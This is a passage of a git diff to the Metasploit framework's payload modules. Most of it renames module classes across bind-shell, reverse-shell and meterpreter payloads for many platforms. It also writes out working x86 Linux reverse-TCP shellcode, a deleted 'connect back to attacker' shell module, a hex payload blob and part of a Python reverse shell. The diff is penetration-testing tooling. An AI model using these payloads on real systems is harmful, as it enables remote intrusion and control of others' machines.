"\xb0\x0b" +# mov al,0xb - "\xcd\x80" # int 0x80 - } - )) + 'Session' => Msf::Sessions::CommandShellUnix + )) + + register_options([ + OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]) + ]) + end + + def generate + # pad the shell path to a multiple of 4 with slashes + shell = datastore['CMD'] + remainder = shell.bytes.length % 4 + if remainder == 0 then remainder = 4 end + shell_padded = ("/" * (4-remainder)) + shell + + "\x31\xdb" +# xor ebx,ebx + "\xf7\xe3" +# mul ebx + "\x53" +# push ebx + "\x43" +# inc ebx + "\x53" +# push ebx + "\x6a\x02" +# push byte +0x2 + "\x89\xe1" +# mov ecx,esp + "\xb0\x66" +# mov al,0x66 (sys_socketcall) + "\xcd\x80" +# int 0x80 + "\x93" +# xchg eax,ebx + "\x59" +# pop ecx + "\xb0\x3f" +# mov al,0x3f (sys_dup2) + "\xcd\x80" +# int 0x80 + "\x49" +# dec ecx + "\x79\xf9" +# jns 0x11 + "\x68" + [IPAddr.new(datastore['LHOST'], Socket::AF_INET).to_i].pack('N') + # push ip addr + "\x68\x02\x00" + [datastore['LPORT'].to_i].pack('S>') + # push port + "\x89\xe1" +# mov ecx,esp + "\xb0\x66" +# mov al,0x66 (sys_socketcall) + "\x50" +# push eax + "\x51" +# push ecx + "\x53" +# push ebx + "\xb3\x03" +# mov bl,0x3 + "\x89\xe1" +# mov ecx,esp + "\xcd\x80" +# int 0x80 + "\x52" +# push edx + + # Split shellname into 4-byte words and push them one-by-one + # on to the stack + shell_padded.bytes.reverse.each_slice(4).map do |word| + "\x68" + word.reverse.pack('C*') + end.join + + + "\x89\xe3" +# mov ebx,esp + "\x52" +# push edx + "\x53" +# push ebx + "\x89\xe1" +# mov ecx,esp + "\xb0\x0b" +# mov al,0xb (execve) + "\xcd\x80" # int 0x80 end end diff --git a/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb b/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb deleted file mode 100644 index d31c4ccc7c..0000000000 --- a/modules/payloads/singles/linux/x86/shell_reverse_tcp2.rb +++ /dev/null @@ -1,98 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'metasm' -require 'msf/core' -require 'msf/core/handler/reverse_tcp' -require 'msf/base/sessions/command_shell' -require 'msf/base/sessions/command_shell_options' - -module Metasploit3 - - CachedSize = 70 - - include Msf::Payload::Single - include Msf::Payload::Linux - include Msf::Sessions::CommandShellOptions - - def initialize(info = {}) - -# Remark: this function seems to be called a LOT, even before the shellcode is used. -# We would better implement some caching. - -# We decoded skape's shellcode by using irb -r metasm-shell -# and: puts shellcode.decode - super(merge_info(info, - 'Name' => 'Linux Command Shell, Reverse TCP Inline - Metasm Demo', - 'Description' => 'Connect back to attacker and spawn a command shell', - 'Author' => ['skape', 'Yoann Guillot', 'Julien Tinnes '], - 'License' => MSF_LICENSE, - 'Platform' => 'linux', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseTcp, - 'Session' => Msf::Sessions::CommandShellUnix, - 'Payload' => - { - 'Offsets' => - { - 'LHOST' => [ 0, 'ADDR' ], - 'LPORT' => [ 0, 'n' ], - }, - 'Assembly' => < { 'LPORT' => [ 321, 'n' ], - 'LHOST' => [ 323, 'ADDR' ], + 'LHOST' => [ 323, 'ADDR' ] }, 'Payload' => - "\x18\x7f\xa5\x76\x1f\xff\x41\x17\x01\x54\xd7\xcb\x10\x00\x10\x00" + - "\x41\xd7\x01\xd8\xa7\x88\x00\x08\xa7\x98\x00\x01\xa7\xa8\x00\x02" + - "\x41\x07\x01\x1c\x41\x30\x00\x08\x41\x57\x01\x9c\x50\xa7\x01\x9c" + - "\x50\x97\x01\xa0\x50\x97\x01\xa8\x41\xf7\x00\xcc\x0d\xef\x58\x57" + - "\x01\xac\x50\x57\x01\xbc\x41\x17\x01\x3e\x41\x57\x01\xbc\xd2\x08" + - "\x50\x07\x10\x00\x41\x07\x01\x24\x41\x30\x00\x06\x41\x57\x01\xbc" + - "\x41\xf7\x00\xcc\x0d\xef\xa7\xb8\x00\x02\xa7\xf4\x00\x1e\xa7\xba" + - "\xff\xff\xec\xb7\xff\xfc\xff\x7e\x41\x17\x01\x48\x50\xa7\x01\x80" + - "\x41\x27\x01\x80\x50\x20\x10\x10\x41\x27\x01\x3c\x50\x20\x10\x14" + - "\x50\x97\x01\x54\x41\x07\x01\x2c\x41\x30\x00\x0d\x41\x57\x01\x48" + - "\x41\xf7\x00\xcc\x0d\xef\x41\x07\x01\x34\x50\x87\x01\x88\x58\x57" + - "\x01\xac\x50\x57\x01\x84\x50\xb7\x01\x8c\x41\x30\x00\x06\x41\x57" + - "\x01\x84\x41\xf7\x00\xcc\x0d\xef\xa7\xf4\xff\xd3\x50\xe0\xd0\x08" + - "\x17\x11\x0a\x08\x50\x0d\x00\x0c\x58\xfd\x00\x0c\xa7\x68\x00\x14" + - "\x41\x16\xd0\x00\x50\x56\xd0\x00\xa7\x3a\xff\xff\xec\x38\x00\x14" + - "\x0b\x7e\xa7\x6a\x00\x04\xa7\x5a\x00\x04\xec\x37\xff\xf5\x00\x7e" + - "\x41\x56\xd0\x00\xa7\x5a\xff\xfc\x96\x80\x50\x00\x05\xef\x58\xe0" + - "\xd0\x08\x07\xfe\xa7\x5a\x00\x04\xa7\xf4\xff\xed\xc2\xd7\xe7\xf1" + - "\xe2\xd6\xc3\x40\xc2\xd7\xe7\xf1\xc3\xd6\xd5\x40\xc2\xd7\xe7\xf1" + - "\xc5\xe7\xc3\x40\xc2\xd7\xe7\xf1\xc6\xc3\xe3\x40\xa2\x88\x10\x02" + - "\x02\x00\x00\x7f\x00\x00\x01\x00\x00\x00\x00\x07\x61\x82\x89\x95" + + "\x18\x7f\xa5\x76\x1f\xff\x41\x17\x01\x54\xd7\xcb\x10\x00\x10\x00" \ + "\x41\xd7\x01\xd8\xa7\x88\x00\x08\xa7\x98\x00\x01\xa7\xa8\x00\x02" \ + "\x41\x07\x01\x1c\x41\x30\x00\x08\x41\x57\x01\x9c\x50\xa7\x01\x9c" \ + "\x50\x97\x01\xa0\x50\x97\x01\xa8\x41\xf7\x00\xcc\x0d\xef\x58\x57" \ + "\x01\xac\x50\x57\x01\xbc\x41\x17\x01\x3e\x41\x57\x01\xbc\xd2\x08" \ + "\x50\x07\x10\x00\x41\x07\x01\x24\x41\x30\x00\x06\x41\x57\x01\xbc" \ + "\x41\xf7\x00\xcc\x0d\xef\xa7\xb8\x00\x02\xa7\xf4\x00\x1e\xa7\xba" \ + "\xff\xff\xec\xb7\xff\xfc\xff\x7e\x41\x17\x01\x48\x50\xa7\x01\x80" \ + "\x41\x27\x01\x80\x50\x20\x10\x10\x41\x27\x01\x3c\x50\x20\x10\x14" \ + "\x50\x97\x01\x54\x41\x07\x01\x2c\x41\x30\x00\x0d\x41\x57\x01\x48" \ + "\x41\xf7\x00\xcc\x0d\xef\x41\x07\x01\x34\x50\x87\x01\x88\x58\x57" \ + "\x01\xac\x50\x57\x01\x84\x50\xb7\x01\x8c\x41\x30\x00\x06\x41\x57" \ + "\x01\x84\x41\xf7\x00\xcc\x0d\xef\xa7\xf4\xff\xd3\x50\xe0\xd0\x08" \ + "\x17\x11\x0a\x08\x50\x0d\x00\x0c\x58\xfd\x00\x0c\xa7\x68\x00\x14" \ + "\x41\x16\xd0\x00\x50\x56\xd0\x00\xa7\x3a\xff\xff\xec\x38\x00\x14" \ + "\x0b\x7e\xa7\x6a\x00\x04\xa7\x5a\x00\x04\xec\x37\xff\xf5\x00\x7e" \ + "\x41\x56\xd0\x00\xa7\x5a\xff\xfc\x96\x80\x50\x00\x05\xef\x58\xe0" \ + "\xd0\x08\x07\xfe\xa7\x5a\x00\x04\xa7\xf4\xff\xed\xc2\xd7\xe7\xf1" \ + "\xe2\xd6\xc3\x40\xc2\xd7\xe7\xf1\xc3\xd6\xd5\x40\xc2\xd7\xe7\xf1" \ + "\xc5\xe7\xc3\x40\xc2\xd7\xe7\xf1\xc6\xc3\xe3\x40\xa2\x88\x10\x02" \ + "\x02\x00\x00\x7f\x00\x00\x01\x00\x00\x00\x00\x07\x61\x82\x89\x95" \ "\x61\xa2\x88" })) end diff --git a/modules/payloads/singles/nodejs/shell_bind_tcp.rb b/modules/payloads/singles/nodejs/shell_bind_tcp.rb index 8329175ca4..678f5b9742 100644 --- a/modules/payloads/singles/nodejs/shell_bind_tcp.rb +++ b/modules/payloads/singles/nodejs/shell_bind_tcp.rb @@ -12,7 +12,7 @@ require 'msf/core/payload/nodejs' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' -module Metasploit3 +module MetasploitModule CachedSize = 456 diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb index b7cf44698d..7e4b4c4da1 100644 --- a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb +++ b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/core/payload/nodejs' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' -module Metasploit3 +module MetasploitModule CachedSize = 488 diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb index 140ccdfa85..b882a0d084 100644 --- a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/reverse_tcp_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 516 diff --git a/modules/payloads/singles/osx/armle/shell_bind_tcp.rb b/modules/payloads/singles/osx/armle/shell_bind_tcp.rb index 278f72a760..8df43d658b 100644 --- a/modules/payloads/singles/osx/armle/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/armle/shell_bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 200 diff --git a/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb b/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb index 86aee3cfc5..408b2e1fd2 100644 --- a/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 152 diff --git a/modules/payloads/singles/osx/armle/vibrate.rb b/modules/payloads/singles/osx/armle/vibrate.rb index aaa15641e3..c5457a8d6d 100644 --- a/modules/payloads/singles/osx/armle/vibrate.rb +++ b/modules/payloads/singles/osx/armle/vibrate.rb @@ -7,7 +7,7 @@ require 'msf/core' -module Metasploit3 +module MetasploitModule CachedSize = 16 diff --git a/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb b/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb index 90c8ebed6f..d19475a5f0 100644 --- a/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 224 diff --git a/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb b/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb index 4973454069..93b6fd73c9 100644 --- a/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 164 diff --git a/modules/payloads/singles/osx/x64/exec.rb b/modules/payloads/singles/osx/x64/exec.rb index 126b9b4433..c87e29badd 100644 --- a/modules/payloads/singles/osx/x64/exec.rb +++ b/modules/payloads/singles/osx/x64/exec.rb @@ -6,7 +6,7 @@ require 'msf/core' -module Metasploit3 +module MetasploitModule CachedSize = 31 diff --git a/modules/payloads/singles/osx/x64/say.rb b/modules/payloads/singles/osx/x64/say.rb index a270e4ee5a..09532e4ec3 100644 --- a/modules/payloads/singles/osx/x64/say.rb +++ b/modules/payloads/singles/osx/x64/say.rb @@ -6,7 +6,7 @@ require 'msf/core' -module Metasploit3 +module MetasploitModule CachedSize = 53 diff --git a/modules/payloads/singles/osx/x64/shell_bind_tcp.rb b/modules/payloads/singles/osx/x64/shell_bind_tcp.rb index 246bbcc2b2..e4d1f0dcc3 100644 --- a/modules/payloads/singles/osx/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/x64/shell_bind_tcp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' -module Metasploit3 +module MetasploitModule CachedSize = 136 diff --git a/modules/payloads/singles/osx/x64/shell_find_tag.rb b/modules/payloads/singles/osx/x64/shell_find_tag.rb index e10354938a..5a4644b817 100644 --- a/modules/payloads/singles/osx/x64/shell_find_tag.rb +++ b/modules/payloads/singles/osx/x64/shell_find_tag.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/find_tag' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 107 diff --git a/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb b/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb index 13e4586d5b..ace5a6988a 100644 --- a/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' -module Metasploit3 +module MetasploitModule CachedSize = 108 diff --git a/modules/payloads/singles/osx/x86/exec.rb b/modules/payloads/singles/osx/x86/exec.rb index 688f654fb0..65a42cb5bd 100644 --- a/modules/payloads/singles/osx/x86/exec.rb +++ b/modules/payloads/singles/osx/x86/exec.rb @@ -14,7 +14,7 @@ require 'msf/core' # Executes an arbitrary command. # ### -module Metasploit3 +module MetasploitModule CachedSize = 24 diff --git a/modules/payloads/singles/osx/x86/shell_bind_tcp.rb b/modules/payloads/singles/osx/x86/shell_bind_tcp.rb index 3ceef27567..3cdd12ad3e 100644 --- a/modules/payloads/singles/osx/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/x86/shell_bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 74 diff --git a/modules/payloads/singles/osx/x86/shell_find_port.rb b/modules/payloads/singles/osx/x86/shell_find_port.rb index a73ce6d16a..2304a33ea8 100644 --- a/modules/payloads/singles/osx/x86/shell_find_port.rb +++ b/modules/payloads/singles/osx/x86/shell_find_port.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/find_port' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 61 diff --git a/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb b/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb index 448d9fcd01..d8a4057d56 100644 --- a/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 65 diff --git a/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb b/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb index d40d2cdaf7..c85f1efd8e 100644 --- a/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb +++ b/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 152 diff --git a/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb b/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb index 3803a6ce9c..403ee15239 100644 --- a/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 131 diff --git a/modules/payloads/singles/php/bind_perl.rb b/modules/payloads/singles/php/bind_perl.rb index a40a20d88e..f7009ff787 100644 --- a/modules/payloads/singles/php/bind_perl.rb +++ b/modules/payloads/singles/php/bind_perl.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 230 diff --git a/modules/payloads/singles/php/bind_perl_ipv6.rb b/modules/payloads/singles/php/bind_perl_ipv6.rb index f16b2c7b48..63402cbd52 100644 --- a/modules/payloads/singles/php/bind_perl_ipv6.rb +++ b/modules/payloads/singles/php/bind_perl_ipv6.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 230 diff --git a/modules/payloads/singles/php/bind_php.rb b/modules/payloads/singles/php/bind_php.rb index 0ffbedb343..f6a35f64cb 100644 --- a/modules/payloads/singles/php/bind_php.rb +++ b/modules/payloads/singles/php/bind_php.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = :dynamic diff --git a/modules/payloads/singles/php/bind_php_ipv6.rb b/modules/payloads/singles/php/bind_php_ipv6.rb index 130f4320d1..5507578205 100644 --- a/modules/payloads/singles/php/bind_php_ipv6.rb +++ b/modules/payloads/singles/php/bind_php_ipv6.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = :dynamic diff --git a/modules/payloads/singles/php/download_exec.rb b/modules/payloads/singles/php/download_exec.rb index 7fa71530b1..c0f5941236 100644 --- a/modules/payloads/singles/php/download_exec.rb +++ b/modules/payloads/singles/php/download_exec.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/payload/php' -module Metasploit3 +module MetasploitModule CachedSize = :dynamic diff --git a/modules/payloads/singles/php/exec.rb b/modules/payloads/singles/php/exec.rb index 3fce154d8c..09b07f6530 100644 --- a/modules/payloads/singles/php/exec.rb +++ b/modules/payloads/singles/php/exec.rb @@ -10,7 +10,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' -module Metasploit3 +module MetasploitModule CachedSize = :dynamic diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index df54d255cd..1f7db24363 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -10,9 +10,9 @@ require 'msf/base/sessions/meterpreter_php' require 'msf/base/sessions/meterpreter_options' -module Metasploit4 +module MetasploitModule - CachedSize = 26778 + CachedSize = 26803 include Msf::Payload::Single include Msf::Payload::Php::ReverseTcp diff --git a/modules/payloads/singles/php/reverse_perl.rb b/modules/payloads/singles/php/reverse_perl.rb index 0cd13b8e44..194c5b90fa 100644 --- a/modules/payloads/singles/php/reverse_perl.rb +++ b/modules/payloads/singles/php/reverse_perl.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = :dynamic diff --git a/modules/payloads/singles/php/reverse_php.rb b/modules/payloads/singles/php/reverse_php.rb index 0e089fdab3..95b71cea29 100644 --- a/modules/payloads/singles/php/reverse_php.rb +++ b/modules/payloads/singles/php/reverse_php.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = :dynamic diff --git a/modules/payloads/singles/php/shell_findsock.rb b/modules/payloads/singles/php/shell_findsock.rb index fa366b6bb7..1595e817e7 100644 --- a/modules/payloads/singles/php/shell_findsock.rb +++ b/modules/payloads/singles/php/shell_findsock.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' require 'msf/core/handler/find_shell' -module Metasploit3 +module MetasploitModule CachedSize = :dynamic diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index 4aa85a2d42..b61383ed87 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -10,9 +10,9 @@ require 'msf/core/payload/python/meterpreter_loader' require 'msf/core/payload/python/bind_tcp' require 'msf/base/sessions/meterpreter_python' -module Metasploit4 +module MetasploitModule - CachedSize = 51630 + CachedSize = 51314 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index 91580b3d11..06549b643c 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -10,9 +10,9 @@ require 'msf/core/payload/python/meterpreter_loader' require 'msf/core/payload/python/reverse_http' require 'msf/base/sessions/meterpreter_python' -module Metasploit4 +module MetasploitModule - CachedSize = 51590 + CachedSize = 51274 include Msf::Payload::Single include Msf::Payload::Python @@ -35,7 +35,7 @@ module Metasploit4 def generate_reverse_http(opts={}) opts[:uri_uuid_mode] = :init_connect met = stage_meterpreter({ - http_url: generate_callback_url(opts), + http_url: generate_callback_url(opts), http_user_agent: opts[:user_agent], http_proxy_host: opts[:proxy_host], http_proxy_port: opts[:proxy_port] diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index 855b9ff3dc..e35d847a1c 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -10,9 +10,9 @@ require 'msf/core/payload/python/meterpreter_loader' require 'msf/core/payload/python/reverse_http' require 'msf/base/sessions/meterpreter_python' -module Metasploit4 +module MetasploitModule - CachedSize = 51594 + CachedSize = 51278 include Msf::Payload::Single include Msf::Payload::Python @@ -36,7 +36,7 @@ module Metasploit4 opts[:scheme] = 'https' opts[:uri_uuid_mode] = :init_connect met = stage_meterpreter({ - http_url: generate_callback_url(opts), + http_url: generate_callback_url(opts), http_user_agent: opts[:user_agent], http_proxy_host: opts[:proxy_host], http_proxy_port: opts[:proxy_port] diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index 1caeb47e89..bfa54dbdcc 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -10,9 +10,9 @@ require 'msf/core/payload/python/meterpreter_loader' require 'msf/core/payload/python/reverse_tcp' require 'msf/base/sessions/meterpreter_python' -module Metasploit4 +module MetasploitModule - CachedSize = 51546 + CachedSize = 51230 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/shell_reverse_tcp.rb b/modules/payloads/singles/python/shell_reverse_tcp.rb index 2a7ceb923f..372ce0e4fd 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 401 diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb index c3e6eb0765..d31d91ea1a 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb @@ -8,9 +8,9 @@ require 'msf/core/handler/reverse_tcp_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule - CachedSize = 557 + CachedSize = 561 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions @@ -59,7 +59,7 @@ module Metasploit3 cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n" cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n" cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" - cmd += "\ts.send(stdout_value)\n" + cmd += "\ts.sendall(stdout_value)\n" # Base64 encoding is required in order to handle Python's formatting requirements in the while loop cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))" diff --git a/modules/payloads/singles/ruby/shell_bind_tcp.rb b/modules/payloads/singles/ruby/shell_bind_tcp.rb index 943a4fe242..b8554cbe4f 100644 --- a/modules/payloads/singles/ruby/shell_bind_tcp.rb +++ b/modules/payloads/singles/ruby/shell_bind_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 516 diff --git a/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb b/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb index 071ae85179..f084531e39 100644 --- a/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb +++ b/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 524 diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp.rb b/modules/payloads/singles/ruby/shell_reverse_tcp.rb index 72db7766bd..cf4cb17543 100644 --- a/modules/payloads/singles/ruby/shell_reverse_tcp.rb +++ b/modules/payloads/singles/ruby/shell_reverse_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 516 diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb index 0f16cba516..b2c7bef693 100644 --- a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/reverse_tcp_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 444 diff --git a/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb b/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb index 1605bdd0ae..ed921903ab 100644 --- a/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb +++ b/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 180 diff --git a/modules/payloads/singles/solaris/sparc/shell_find_port.rb b/modules/payloads/singles/solaris/sparc/shell_find_port.rb index 6027131f48..050d136438 100644 --- a/modules/payloads/singles/solaris/sparc/shell_find_port.rb +++ b/modules/payloads/singles/solaris/sparc/shell_find_port.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/find_port' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 136 diff --git a/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb b/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb index 6957558e47..6d29055d6f 100644 --- a/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 144 diff --git a/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb b/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb index f90d730769..d8360af809 100644 --- a/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 95 diff --git 